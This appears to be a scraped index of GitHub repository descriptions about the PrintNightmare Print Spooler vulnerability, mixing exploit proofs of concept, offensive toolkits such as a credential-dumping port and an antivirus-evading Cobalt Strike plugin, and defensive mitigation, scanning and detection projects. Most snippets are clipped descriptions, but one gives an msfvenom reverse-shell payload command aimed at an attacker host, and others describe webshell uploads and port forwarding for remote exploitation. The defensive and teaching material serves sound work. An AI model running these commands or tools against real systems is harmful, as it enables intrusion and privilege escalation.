CVE-2021-1675

Windows Print Spooler Service RCE CVE-2021-1675 (PrintNightmare)

Windows Print Spooler Service RCE CVE-2021-1675 (PrintNightmare) How to disable the Print Spooler service ? CMD Shell net start | findstr -i "spooler" net stop spooler REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start " /t REG_DWORD /d "4" /f PowerShell Get-Service -Name Spooler Stop-Service -Name Spooler -Force Set-Serv

2021-Summer-Some-Day-Exploit 취약점 분석 결과 공유 및 0-Day 취약점을 탐색하는 팀 운영방식 공개된 취약점 분석을 우선으로 하나, 미공개 취약점 분석도 가능 0-Day의 경우, 시간이 매우 오래걸리기 때문에, 관련 준비나 과정도 훌륭한 성과라고 판단하여 취약점 분석으로 인정 격주 1회 온라인

〖EXP〗Ladon打印机漏洞提权CVE-2021-1675复现 k8gegeorg/p/CVE-2021-1675html 基本情况 6月9日，微软发布6月安全更新补丁，修复了50个安全漏洞，其中包括一个Windows Print Spooler权限提升漏洞，漏洞CVE编号：CVE-2021-1675。未经身份验证的远程攻击者可利用该漏洞以SYSTEM权限在域控制器上执行任意代

Collection of extra pentest tools for Kali Linux

☢️☣️ NOT PROPERLY MAINTAINED ANYMORE It has become such a pain to properly maintain this repository (every new Kali release very likely breaks some dependencies for at least one of the million listed tools), so a smooth installation process is not guaranteed Now I treat WeaponizeKalish not as an automation script, but as a collection of useful tools (resources) to be

PowerShell script to check if system is vulnerable to the PrintNightmare vulnerability, along with some manual checks.

PrintNightmareCheck This repository contains some manul checks to see if the system is vulnerable to the PrintNightmare vulnerability (CVE-2021-1675, CVE-2021-34527) and also a PowerShell script to automate the process Please note that this is the first PowerShell script I have ever written myself so do not rely on it! Manual checks Check if Print Spooler service is running #

CVE-2021-1675: ZERO-DAY VULNERABILITY IN WINDOWS PRINTER SERVICE WITH AN EXPLOIT AVAILABLE IN ALL OPERATING SYSTEM VERSIONS

CVE-2021-1675 CVE-2021-1675: ZERO-DAY VULNERABILITY IN WINDOWS PRINTER SERVICE WITH AN EXPLOIT AVAILABLE IN ALL OPERATING SYSTEM VERSIONS Let me provide a onf the method I found in order to mitigate that waitting for MS release a official patches Run as Administrator in Windows Powershell Note: Serverstxt > Include all servers from you domain exclude a servers has a pr

Set of EVTX samples (>270) mapped to MITRE Att@k tactic and techniques to measure your SIEM coverage or developed new use cases.

EVTX to MITRE Att@ck Project purpose EVTX to MITRE Att@ck is a Security Information Management System orientated project It provides >270 Windows IOCs indicators classified per Tactic and Technique in order to address different security scenarios with your SIEM: Measure your security coverage Enhance your detection capacities Identify security gaps or uncovered threats

Zeroscan is a Domain Controller vulnerability scanner, that currently includes checks for Zerologon (CVE-2020-1472), MS-PAR/MS-RPRN and SMBv2 Signing.

zeroscan Zeroscan is a Domain Controller vulnerability scanner, that currently includes checks for Zerologon (CVE-2020-1472), MS-PAR/MS-RPRN and SMBv2 Signing CVE-2020-1472: Uses a built-in script to check for Zerologon (CVE-2020-1472), but does NOT attempt to exploit the target, it is simply a vulnerability scanner Codebase borrowed from: githubcom/SecuraBV/CVE-202

Working PowerShell POC

CVE-2021-1675-PrintNightmare Working PowerShell POC Powershell script is copied from githubcom/calebstewart/CVE-2021-1675 Respect for Caleb Stewart and John Hammond I just wanted to have working poc close at hand Ive added my custom DLL and an obfuscated version of powershell script Obfuscated script loads DLL named "printeddll" from "C:\windows\trac

OKU 2105 Capstone Research on PrintNightmare

Welcome to our PrintNightmare exploit Capstone writeup This is our final project for the OKU 2105 Fullstack Academy Cybersecurity course We hope we will educate you on this exploit and how to mitigate it This project centers on CVE-2021-1675 + CVE-2021-34527, also known as the zero-day exploit "PrintNightmare" There have been subsequent exploits related to this,

A curated list of awesome C-Sharp frameworks, libraries and software.

awesome-c-sharp A curated list of awesome C-Sharp frameworks, libraries and software shadowsocks/shadowsocks-windows - A C# port of shadowsocks Ryujinx/Ryujinx - Experimental Nintendo Switch Emulator written in C# dotnet-architecture/eShopOnContainers - Cross-platform NET sample microservices and container based application that runs on Linux Windows and macOS Powered by N

microsoft-vulnerabilidades Vulnerabilidade de execução remota de código do Spooler de Impressão do Windows CVE-2021-34527 fonte: msrcmicrosoftcom/update-guide/vulnerability/CVE-2021-34527 Vulnerabilidade de Segurança Lançado: 01/07/2021 Last updated: 15 de jul de 2021 Assigning CNA: Microsoft MITRE CVE-2021-34527 CVSS:30 88

Collection of C# projects. Useful for pentesting and redteaming.

RedCsharp Offensive C# tools CasperStager PoC for persisting NET payloads in Windows Notification Facility (WNF) state names using low-level Windows Kernel API calls CSExec An implementation of PSExec in C# CSharpCreateThreadExample C# code to run PIC using CreateThread CSharpScripts Collection of C# scripts CSharpSetThreadContext C# Shellcode Runner to execute

CVE-2021-1675 - PrintNightmare LPE (PowerShell) Caleb Stewart | John Hammond | June 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare" Proof-of-concept exploits have been released (Python, C++) for the remote code execution capability, and a C# rendition for local privilege escalation We

Chainlink Python External Adapter for NVD Impact Score and vulnerability description This repository implemented chanlink external adapter for getting impact score and vulnerability description from Nation vulnerability database It is coded by Python and chainlink official template Install pip3 install -r requirementstxt Run locally: python3 apppy open another terminel : c

Repository for scripts of cyber security correlates

CVE-2021-1675 / CVE-2021-34527 Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Tested on a fully patched 2019 Domain Controller Execute malicious DLL's remote or locally Installation Before running the exploit you need to install my version of Impacket and after that you're gucc

Mitigation for CVE-2021-34527 RCE by setting WRITE ACLs

CVE-2021-34527_mitigation Mitigation for CVE-2021-34527 RCE by setting WRITE ACLs These scripts are both to add and remove CVE-2021-34527(PrintNightmare) ACL mitigations that I wrote with assistance from /u/AforAnonymous from the reddit thread by Huntress in /r/MSP I've personally tested this using a vulnerable Windows 1909 Host Implementing the ACL mitigation caused Pr

A project to help harden Windows 10 machines through powershell scripts.................

Windows_Hardening_Project A project to help harden Windows 10 machines through powershell scripts Alot of features are going away in Windows 10 and Windows 11 has a good chance to no longer support wmic and other useful built-in Windows Features Link for referrence docsmicrosoftcom/en-us/windows/deployment/planning/windows-10-deprecated-features#:~:t

Microsoft Windows Active Directory

Resources for Active Directory Downloads and Tools Impacket Tools: githubcom/SecureAuthCorp/impacket/releases Mitm6: githubcom/fox-it/mitm6 Powerview: githubcom/PowerShellEmpire/PowerTools/tree/master/PowerView Sharphound: githubcom/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHoundps1 Mimikatz: githubcom/gentilkiwi/mimikatz

Porting of mimikatz sekurlsa::logonpasswords, sekurlsa::ekeys and lsadump::dcsync commands

SharpKatz Porting of mimikatz sekurlsa::logonpasswords, sekurlsa::ekeys and lsadump::dcsync commands Usage Ekeys SharpKatzexe --Command ekeys list Kerberos encryption keys Msv SharpKatzexe --Command msv Retrive user credentials from Msv provider Kerberos SharpKatzexe --Command kerberos Retrive user credentials from Kerberos provider Tspkg SharpKatzexe --Command tspk

Static standalone binaries for Linux and Windows (x64) of Python offensive tools. Compiled using PyInstaller, Docker for Windows, WSL2, and Make.

OffensivePythonPipeline This repository contains the following static standalone binaries of Python offensive tools: Tool Operating System(s) Binary output(s) Certipy Linux / Windows x64 certipy_linux certipy_windowsexe CrackMapExec Linux / Windows x64 crackmapexec_linux crackmapexec_windowsexe dirkjanm's CVE-2020-1472 (ZeroLogon) Linux / Windows x64 cve-202

CVE-2021-1675 / CVE-2021-34527 - PrintNightmare Python, C# and PowerShell Exploits Implementations (LPE & RCE)

CVE-2021-1675 / CVE-2021-34527 Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Tested on a fully patched 2019 Domain Controller Execute malicious DLL's remote or locally Patch update Microsoft has released a patch to mitigate against these attacks but if these values below are presen

Small Powershell Script to detect Running Printer Spoolers on Domain Controller

CVE-2021-1675 / CVE-2021-34527 Two mini Script to check if the PrintSpooler Serivce is running within the Forest CVE-2021-1675: msrcmicrosoftcom/update-guide/en-US/vulnerability/CVE-2021-1675 CVE-2021-34527 aka PrintNightmare msrcmicrosoftcom/update-guide/vulnerability/CVE-2021-34527 Scripts Detect running Printer Spooler Service on DCs: githubcom/

CVE-2021-1675 Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Tested on a fully patched 2019 Domain Controller Execute malicious DLL's remote or locally Installation Before running the exploit you need to install my version of Impacket and after that you're gucci pip3 uninstall

Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

PrintNightmare Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) using standard Impacket Installtion $ pip3 install impacket Usage Impacket v0923 - Copyright 2021 SecureAuth Corporation usage: printnightmarepy [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-

CVE-2021-1675 (PrintNightmare)

CVE-2021-1675(PrintNightmare) system shell poc for CVE-2021-1675 (Windows Print Spooler Elevation of Privilege) credit: Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Ref: githubcom/afwu/PrintNightmare windows 10 windows server 2012 Credit to all researcher who find out this bug @404death

CVE-2021-1675 exploit

CVE-2021-1675 CVE-2021-1675 exploit 漏洞利用马上上传

Incident Response and Threat hunting scripts

Forensics This repository is including Incident Response and Threat hunting scripts Triage_v11-PrintNightmareps1 ###DFIR_CVE-2021-1675 This script is reconfigured regarding to CVE-2021-1675 vulnerability It is extracting the standard triage information and IoCs of this vulnerability ###DFIR_Windows_Server/Workstation_Triage_PowerShell### The script will extract triage inf

Fix without disabling Print Spooler

CVE-2021-1675 Fix without disabling Print Spooler Script checks the existance of de CVE-2021-1675 fix from Microsoft and removes members from the "Pre-Windows 2000 Compatible Access" group on the domain Issues: With an empty "Pre-Windows 2000 Compatible Access" group the following things stop working: LDAP Connections NPS Server

A small powershell script to disable print spooler service using desired state configuration

CVE-2021-1675 - PrintNightmare DSC Mitigation (PowerShell) Kougyoku Gentou | July 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare" The mitigation is to disable Print Spooler service Well, most websites say to do this on Domain Controllers only, but realistically it should be done on bas

Cve-2021-1675 or cve-2021-34527? Detailed analysis and exploitation of windows print spooler 0day vulnerability！！！

CVE-2021-34527-1675 Cve-2021-1675 or cve-2021-34527? Detailed analysis and exploitation of windows print spooler 0day vulnerability！！！

CVE-2021-1675 / CVE-2021-34527 Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Tested on a fully patched 2019 Domain Controller Execute malicious DLL's remote or locally Installation Before running the exploit you need to install my version of Impacket and after that you're gucc

PrintNightmare Malicious Driver Detection

PrintNightmare Driver Checker A tool to disable the spool service to avoid an attack on this one (CVE-2021–1675) The tool also checks if the drivers are signed by Microsoft or not, so you can check their provenance and see if they are suspicious or not

Use to build an anonymous SMB file server.

Invoke-BuildAnonymousSMBServer Use to build an anonymous SMB file server This is useful for testing CVE-2021-1675 and CVE-2021-34527 Test is successful on the following system: Windows 7 Windows 8 Windows 10 Windows Server 2012 Windows Server 2012 R2 Windows Server 2016 渗透技巧——通过命令行开启Windows系统的匿名访问共享

CVE-2021-1675 修改自githubcom/sailay1996/PrintNightmare-LPE ，支持远程调用。 1、上传PrintNightmareLPEexe与vlibdll到远程服务器上，执行PrintNightmareLPEexe。 2、本地做好端口转发netsh interface portproxy add v4tov4 listenport=31337 connectaddress=19216884129 connectport=31337 3、本地启动xconsoleexe

Mitigation for CVE-2021-34527 RCE by setting WRITE ACLs

CVE-2021-34527_mitigation Mitigation for CVE-2021-34527 RCE by setting WRITE ACLs These scripts are both to add and remove CVE-2021-34527(PrintNightmare) ACL mitigations that I wrote with assistance from /u/AforAnonymous from the reddit thread by Huntress in /r/MSP I've personally tested this using a vulnerable Windows 1909 Host Implementing the ACL mitigation caused Pr

PrintNightmare , Local Privilege Escalation of CVE-2021-1675 or CVE-2021-34527

CVE-2021-1675-LPE-EXP Simple LPE Exploit of CVE-2021-1675 Usage CVE-2021-1675-LPEexe C:\test\MyPigDLLdll MyPigDLLdll,is a test DLL which will create C:\testtxt if succeed Notice Add EnumPrinterDriversW for get pDriverPath, so We dont need change the "hardcode Driver path" everytime Dont need to work with RPC or SMB and this

PrintNightmare (CVE-2021-1675) This Zeek script detects successful RpcAddPrinterDriver{,Ex} DCE RPC events, which are required to successfully exploit the vulnerability Tests are based on exploit PCAP from Lares Lab Tested with Zeek versions 302 and 401 Notices Printer_Driver_Changed_Successfully indicates the printer driver was changed successfully Suricata We have a

CVE-2021-1675 Detection Info

From Lares Labs: Detection & Remediation Information for CVE-2021-1675 & CVE-2021-34527 🚨 Patch released: msrcmicrosoftcom/update-guide/vulnerability/CVE-2021-34527 The patch has been confirmed to fix RCE however local priviledge escalation appears to not be patched as of yet Therefore the workarounds listed below are still recommended This repo c

see https://github.com/cube0x0/CVE-2021-1675

Print Nightmare 分析报告 Table of Contents 漏洞基本信息 CVE-2021-1675 调用流程 Windows 打印后台处理程序体系架构 函数版本选择 API 函数发送 RPC 请求到 spooler 服务器上 MSRPC 机制 spoolsvexe 处理 API 请求 本地打印提供程序的函数实现逻辑 漏洞的利用方法 利用程序的使用方法 利用程序的运行结果

C# PrintNightmare (CVE-2021-1675)

C# PrintNightmare (CVE-2021-1675) You'll need a DLL to use SharpPN So once you have that, just build and specify the dll path in the command-line arguments Build You can build yourself with C:\Windows\MicrosoftNET\Framework64\v35\cscexe -out:SharpPNexe C:\Path\to\Programcs or by opening the sln file with Visual Studio and building there Usage \SharpPNexe -DLL C:

PrintNightmare - Windows Print Spooler RCE/LPE Vulnerability (CVE-2021-34527, CVE-2021-1675) proof of concept exploits

PrintNightmare - Windows Print Spooler RCE/LPE Vulnerability (CVE-2021-34527, CVE-2021-1675) Summary This is a remote code execution vulnerability that can be used to obtain SYSTEM level privileges by an authenticated remote user against Windows machines running the print spooler service An attacker could then use that access to create new accounts, attempt to install programs

A collection of Windows print spooler exploits containerized with other utilities for practical exploitation.

SpoolSploit A collection of Windows print spooler exploits containerized with other utilities for practical exploitation Summary SpoolSploit is a collection of Windows print spooler exploits containerized with other utilities for practical exploitation A couple of highly effective methods would be relaying machine account credentials to escalate privileges and execute malicio

Vulnerability Scanner for CVE-2021-1675/PrintNightmare

CVE-2021-1675-SCANNER Vulnerability Scanner for CVE-2021-1675 follow install instructions for githubcom/cube0x0/CVE-2021-1675 make sure you have rpcdumppy from a list of hosts that you gather use nmap tag -oG to output your file with list of hosts that are up Example: nmap -iL hoststxt -T4 --open -p 135 -oG outfiletxt python3 scanpy outfiletxt its not the best way

I will create the PoCs for well known vulnerabilities discovered recently in popular Products./Vendors

The bug (CVE-2021-1675) exists in the Windows Print Spooler and has been dubbed “PrintNightmare” by researchers It was originally addressed in June’s Patch Tuesday updates from Microsoft as a minor elevation-of-privilege vulnerability, but the listing was updated last week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for

CVE-2021-1675 Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Tested on a fully patched 2019 Domain Controller Execute malicious DLL's remote or locally Installation Before running the exploit you need to install my version of Impacket and after that you're gucci pip3 uninstall

PrintNightmare exploit CVE-2021-1675 / CVE-2021-34527 exploit Reflective Dll implementation of the PrintNightmare PoC by Cornelis de Plaa (@Cneelis) The exploit was originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) It can be used as Remote Code Execution (RCE) exploit (screenshot 1), It can be used for Privilege Escalation (screenshot 2)

PrintNightmare This is an adaptation of the original CVE-2021-1675 / CVE-2021-34527 python code from Cube0x0 (githubcom/cube0x0/CVE-2021-1675) and the code that was Benjamin Deply incorporated into Mimikatz (githubcom/gentilkiwi/mimikatz/) Some of the PAR functionality was incorporated from byt3bl33d3r's ItWasAllADream (githubcom/byt3bl33d3r/It

2021 iThome 鐵人賽

2021 iThome 鐵人賽 系列文章連結 主題: 現實主義勇者的 Windows 攻防記 目錄 【Day 01】Zeze 的野望 - 開賽前言 【Day 02】Word 很大，你要看一下 - Microsoft Office Phishing 【Day 03】又是 Print Spooler 搞的鬼 - CVE-2021-1675 PrintNightmare 【Day 04】CVE 哪有那麼萌 - 找漏洞經驗分 【Day 05】你逆 - 逆向工程工具介�

Currently on a purple team project performing the Printernightmare also known as CVE 2021-1675: A vulnerability that allows an attacker with low access privileges to use a malicious DLL file to escalate privilege. Threat actors can only take advantage of the vulnerability if they have direct access to the vulnerable system, so Microsoft categori…

FullstackAcademy-Printernightmare-writeup-2105-ECAR Currently on a purple team project performing the Printernightmare also known as CVE 2021-1675: A vulnerability that allows an attacker with low access privileges to use a malicious DLL file to escalate privilege Threat actors can only take advantage of the vulnerability if they have direct access to the vulnerable system

Kritische Sicherheitslücke PrintNightmare CVE-2021-34527

Kritische Sicherheitslücke PrintNightmare CVE-2021-1675, CVE-2021-34527 Out-of-Band (OOB) Security Update available for CVE-2021-34527 MSRC / By MSRC Team / July 6, 2021 *** Today Microsoft released an Out-of-Band (OOB) security update for CVE-2021-34527, which is being discussed externally as PrintNightmare This is a cumulative update release, so it contains all previous

Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

PrintNightmare Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) using standard Impacket Installtion $ pip3 install impacket Usage Impacket v0923 - Copyright 2021 SecureAuth Corporation usage: printnightmarepy [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-

Microsoft-CVE-2021-1675 I have created a small C# project that exploits vulnerability CVE-2021-1675 For more information about CVE-2021-1675, please check my blog post: thalpiuscom/2021/07/16/windows-print-spooler-elevation-of-privilege-vulnerability-cve-2021-1675-explained Usage Microsoft CVE-2021-1675 CVE-2021-1675exe /driverpath:c:\\absolete\\path /dll:c:\\absolet

printnightmare This is a group of Powershell scripts I used to block the printnightmare vulnerability spooler-stop-disable-printnightmareps1 The first script stops and disables the print spooler service This should be run on member servers Can be used remotely by running the following PS command: PS> Invoke-Command -FilePath \spooler-stop-disable-printnightmareps1

OKU 2105 Capstone Research on PrintNightmare

Welcome to our PrintNightmare exploit Capstone writeup This is our final project for the OKU 2105 Fullstack Academy Cybersecurity course We hope we will educate you on this exploit and how to mitigate it This project centers on CVE-2021-1675 + CVE-2021-34527, also known as the zero-day exploit "PrintNightmare" There have been subsequent exploits related to this,

PrintNightmare - Windows Print Spooler RCE/LPE Vulnerability (CVE-2021-34527, CVE-2021-1675) proof of concept exploits

PrintNightmare - Windows Print Spooler RCE/LPE Vulnerability (CVE-2021-34527, CVE-2021-1675) Summary This is a remote code execution vulnerability that can be used to obtain SYSTEM level privileges by an authenticated remote user against Windows machines running the print spooler service An attacker could then use that access to create new accounts, attempt to install programs

Pure PowerShell implementation of CVE-2021-1675 Print Spooler Local Privilege Escalation (PrintNightmare)

CVE-2021-1675 - PrintNightmare LPE (PowerShell) Caleb Stewart | John Hammond | July 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare" Proof-of-concept exploits have been released (Python, C++) for the remote code execution capability, and a C# rendition for local privilege escalation We

Small Powershell Script to detect Running Printer Spoolers on Domain Controller

CVE-2021-1675 / CVE-2021-34527 Two mini Script to check if the PrintSpooler Serivce is running within the Forest CVE-2021-1675: msrcmicrosoftcom/update-guide/en-US/vulnerability/CVE-2021-1675 CVE-2021-34527 aka PrintNightmare msrcmicrosoftcom/update-guide/vulnerability/CVE-2021-34527 Scripts Detect running Printer Spooler Service on DCs: githubcom/

Small Powershell Script to detect Running Printer Spoolers on Domain Controller

CVE-2021-1675 / CVE-2021-34527 Two mini Script to check if the PrintSpooler Serivce is running within the Forest CVE-2021-1675: msrcmicrosoftcom/update-guide/en-US/vulnerability/CVE-2021-1675 CVE-2021-34527 aka PrintNightmare msrcmicrosoftcom/update-guide/vulnerability/CVE-2021-34527 Scripts Detect running Printer Spooler Service on DCs: githubcom/

TryHackMe room atlas

Atlas v14 Enumeration NMAP Scan Check for running services and open ports I realized after I ran the following command that I didn't need the -A I changed my mind half way through typing it and didn't remove the -A nmap -p- -Pn -sC -sV -A -vv -oN nmapscan IPaddr Ports 3389 Windows RDP 8080 ThinVNC Exploits Looking for vuln

CVE-2021-1675 - PrintNightmare LPE (PowerShell) Caleb Stewart | John Hammond | June 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare" Proof-of-concept exploits have been released (Python, C++) for the remote code execution capability, and a C# rendition for local privilege escalation We

JustRepository Testing project Getting Started These are repository for tools and code I modify and compile for fun (?) Note that "use this for educational purposes only" Webshellphp simple webshell that protected with parameter Upload shell rename it with "pagebackupphp" Call it with your own parameter: examplecom/uploads/pagebackupphp?dxnboy=4

to catch cve-2021-1675-printnightmare

Simple policy to detect CVE-2021-1675 Following functionality are provided by the script :: This zeek package Utilizes pcap and work of : githubcom/LaresLLC/CVE-2021-1675git builds upon the fact that Installation zeek-pkg install zeek/initconf/ or @load Detailed Notes: Detail Alerts and descriptions: Following alerts are generated by the script: Heuristics a

CVE-2021-1675 - PrintNightmare LPE (PowerShell) Caleb Stewart | John Hammond | June 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare" Proof-of-concept exploits have been released (Python, C++) for the remote code execution capability, and a C# rendition for local privilege escalation We

Static standalone binaries for Linux and Windows (x64) of Python offensive tools. Compiled using PyInstaller, Docker for Windows, WSL2, and Make.

OffensivePythonPipeline This repository contains the following static standalone binaries of Python offensive tools: Tool Operating System(s) Binary output(s) Certipy Linux / Windows x64 certipy_linux certipy_windowsexe CrackMapExec Linux / Windows x64 crackmapexec_linux crackmapexec_windowsexe dirkjanm's CVE-2020-1472 (ZeroLogon) Linux / Windows x64 cve-202

Set of SIGMA rules (>320) mapped to MITRE Att@k tactic and techniques

SIGMA detection rules Project purpose: SIGMA detection rules provides a free set of >320 advanced correlation rules to be used for suspicious hunting activities How to use the rules: The SIGMA rules can be used in different ways together with your SIEM: Using the native SIGMA converter: githubcom/SigmaHQ/sigma Using SOC Prime online SIGMA converter: un

Sponsored by       PowerSharpPack Many useful offensive CSharp Projects wraped into Powershell for easy usage Why? In my personal opinion offensive Powershell is not dead because of AMSI, Script-block-logging, Constrained Language Mode or other protection features Any of these mechanisms can be bypassed Since most new innovative offensive security projects ar

Youtube : https://youtu.be/Zr0KjYDSFKQ

PrintNightmare-CVE-2021-1675 Youtube : youtube/Zr0KjYDSFKQ

CarbonBlack Hunting Query for CVE-2021-1675 (PrintNightmare) #1 Based on Sigma rule on detecting the POC code filemod_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old\\1\\123 #2 Based on Sigma rule on detecting the POC code (modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\

Hack The Box writeups by Şefik Efe.

Hack The Box Writeups by Şefik Efe Would you like to give me stars in Hack The Box? Thanks in advance :) I'll be posting retired boxes' and some challenges' writeups You can search keywords and/or topics between writeups using top left corner search bar Index Table My favourite writeup so far: Breadcrumbs     &a

SpoolSploit A collection of Windows print spooler exploits containerized with other utilities for practical exploitation Summary SpoolSploit is a collection of Windows print spooler exploits containerized with other utilities for practical exploitation A couple of highly effective methods would be relaying machine account credentials to escalate privileges and execute malicio

CVE-2021-34527 - PrintNightmare LPE (PowerShell) Caleb Stewart | John Hammond | June 1, 2021 UPDATE June 2 2021: Microsoft has released an advisory on CVE-2021-34527, correctly terming that specific identifier as the PrintNightmare vulnerability exploit Previously, the community was assuming CVE-2021-1675 "was PrintNightmare" as the June 8 path did not resolve th

C# PrintNightmare (CVE-2021-1675)

C# PrintNightmare (CVE-2021-1675) You'll need a DLL to use SharpPN So once you have that, just build and specify the dll path in the command-line arguments Build You can build yourself with C:\Windows\MicrosoftNET\Framework64\v35\cscexe -out:SharpPNexe C:\Path\to\Programcs or by opening the sln file with Visual Studio and building there Usage \SharpPNexe -DLL C:

PrintNightMare LPE提权漏洞的CS 反射加载插件。开箱即用、通过内存加载、混淆加载的驱动名称来ByPass Defender/EDR。

CVE-2021-1675_RDL_LPE PrintNightMare LPE提权漏洞的CS 反射加载插件。开箱即用、通过内存加载、混淆加载的驱动名称来ByPass Defender/EDR。 免责声明: 本项目只用于学习交流，请在合理授权范围内谨慎使用。 快速使用 下载本项目: Cobalt Strike 加载插件 用法说明: > print_night_mare_lpe dllpath > e

Docker-PrinterNightmare A docker image for the PoC python impacket implementation of CVE-2021-1675 by cube0x0 The python PoC is not mine and is located at githubcom/cube0x0/CVE-2021-1675 Why is this useful? If you already have an existing impacket install and don't want to remove it, you can use this so that the PoC works It runs the authors custom version of im

Local Privilege Escalation Edition for CVE-2021-1675/CVE-2021-34527

Local Privilege Escalation Edition of CVE-2021-1675/CVE-2021-34527 Local Privilege Escalation implementation of the CVE-2021-1675/CVE-2021-34527 (aka PrintNightmare) The exploit is edited from published by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Open the project on MSVC and compile with x64 Release mode Exploit automatically finds UNIDRVDLL, no ch

Static standalone binaries for Linux and Windows (x64) of Python offensive tools. Compiled using PyInstaller, Docker for Windows, WSL2, and Make.

OffensivePythonPipeline This repository contains the following static standalone binaries of Python offensive tools: Tool Operating System(s) Binary output(s) Certipy Linux / Windows x64 certipy_linux certipy_windowsexe CrackMapExec Linux / Windows x64 crackmapexec_linux crackmapexec_windowsexe dirkjanm's CVE-2020-1472 (ZeroLogon) Linux / Windows x64 cve-202

PrintNightmareScanner Scanner to detect Windows Print Spooler Remote Code Execution Vulnerability (CVE-2021-1675) Prerequisite's python3 python3 -m pip install -r Requirementstxt Usage python3 detectprintnightmarepy --help usage: detectprintnightmarepy [-h] [-t TARGET] [-T TARGETS] [-c CIDR] optional arguments: -h, --help show this help message and exit

C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527

CVE-2021-1675 / CVE-2021-34527 Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370) Tested on a fully patched 2019 Domain Controller Execute malicious DLL's remote or locally Patch update Microsoft has released a patch to mitigate against these attacks but if these values below are presen

This is CheatSheet which I used on PJPT exam to fully compromise Domain Controller by doing internal network penentration testing.

Hi, I'm Dr4ks! 👋 🚀 About Me I'm a Cyber Security student 🔗 Links Content Recon Enumeration Initial attacks for Active Directory Post Compromise Enumeration for Active Directory Post Compromise Attacks for Active Directory After compromising Domain Additional AD attacks AD Case Studies Result Recon Introduction is here! Discovering em

Hi, I am Yerdaulet and my notes from PEH course 🚀 About Me I am Junior Penetration Tester 🔗 Links Content Recon Enumeration Initial attacks Post Compromise Enumeration Post Compromise Attacks After Compromising Domain Additional AD attacks AD Case Studies Certificate Recon Introduction is here! Discovering email addresses(links)=> h

CVE-2021-1675 LPE PoC in Nim (PrintNightmare Local Privilege Escalation)

CVE-2021-1675 LPE PoC not my exploit! just wanted to play around with the winim library in nim Usage Generate DLL payload with msfvenom -p windows/x64/shell_reverse_tcp LHOST=1921688237 LPORT=4444 -f dll > msfvenomdll, then start the handler on your attacker On the victim run \nimnightmareexe <ABSOLUTE_PATH_TO_DLL> and get a shell as SYSTEM

Cheatsheet from the PJPT course of TCM security.

PJPT-Notes Cheatsheet from the PJPT course of TCM security Enumeration sudo arp-scan -l netdiscover -r 19216850/24 nmap -T4 -p- -A 19216850/24 nmap -T4 -p- -A 19216851 nmap -T4 -p- -sS -sC 19216850/24 Initial attacks for Active Directory LLMNR Poiso

PrintNightmare-Windows Print Spooler RCE/LPE Vulnerability(CVE-2021-34527, CVE-2021-1675) ABOUT THE WINDOWS PRINT SPOOLER A printer spooler is an application which manages the paper printing jobs sent from a computer to a printer and also this service allows the system to act as print clients or print servers It’s a definite to have a print spooler service on the compute

Learn about the vulnerability known as PrintNightmare (CVE-2021-1675) and (CVE-2021-34527)

TryHackMe | PrintNightmare PrintNightmare Learn about the vulnerability known as PrintNightmare (CVE-2021-1675) and (CVE-2021-34527) Task 6 Detection: Windows Event Logs Event Viewer > Applications and Services Logs > Microsoft > Windows > PrintService > Admin %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-PrintService%4Adminevtx Lo

Driver - SCF Attack | PrintNightMare Enumeration ⛩\> nmap -p- -sV -sC -v -oA enum --min-rate 4500 --max-rtt-timeout 1500ms --open 10129213228 Nmap scan report for 10129213228 Host is up (027s latency) Not shown: 65531 filtered ports Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE VERSION 80/tcp open ht

PrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service Ten years ago, an escalation of privilege bug in Windows Printer Spooler was used in Stuxnet, which is a notorious worm that destroyed the nuclear enrichment centrifuges of Iran and infected more than 45000 networks In the past ten years, spooler still has an endless stream of vulnerabilities disc

PrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service Ten years ago, an escalation of privilege bug in Windows Printer Spooler was used in Stuxnet, which is a notorious worm that destroyed the nuclear enrichment centrifuges of Iran and infected more than 45000 networks In the past ten years, spooler still has an endless stream of vulnerabilities disc

CobaltStrike资源大全

《深入理解Cobalt Strike》 这里记录收集优秀的CobaltStrike内容，包括优秀的资源工具或优秀的项目代码等。本项目大部分工具都未检测是否存在后门，务必在虚拟机下运行。CobaltStrike思想是攻击者的进步。作者：0e0w 本项目创建时间为2021年8月3日。最近的一次更新时间为2023年8月4日。 01-Coba

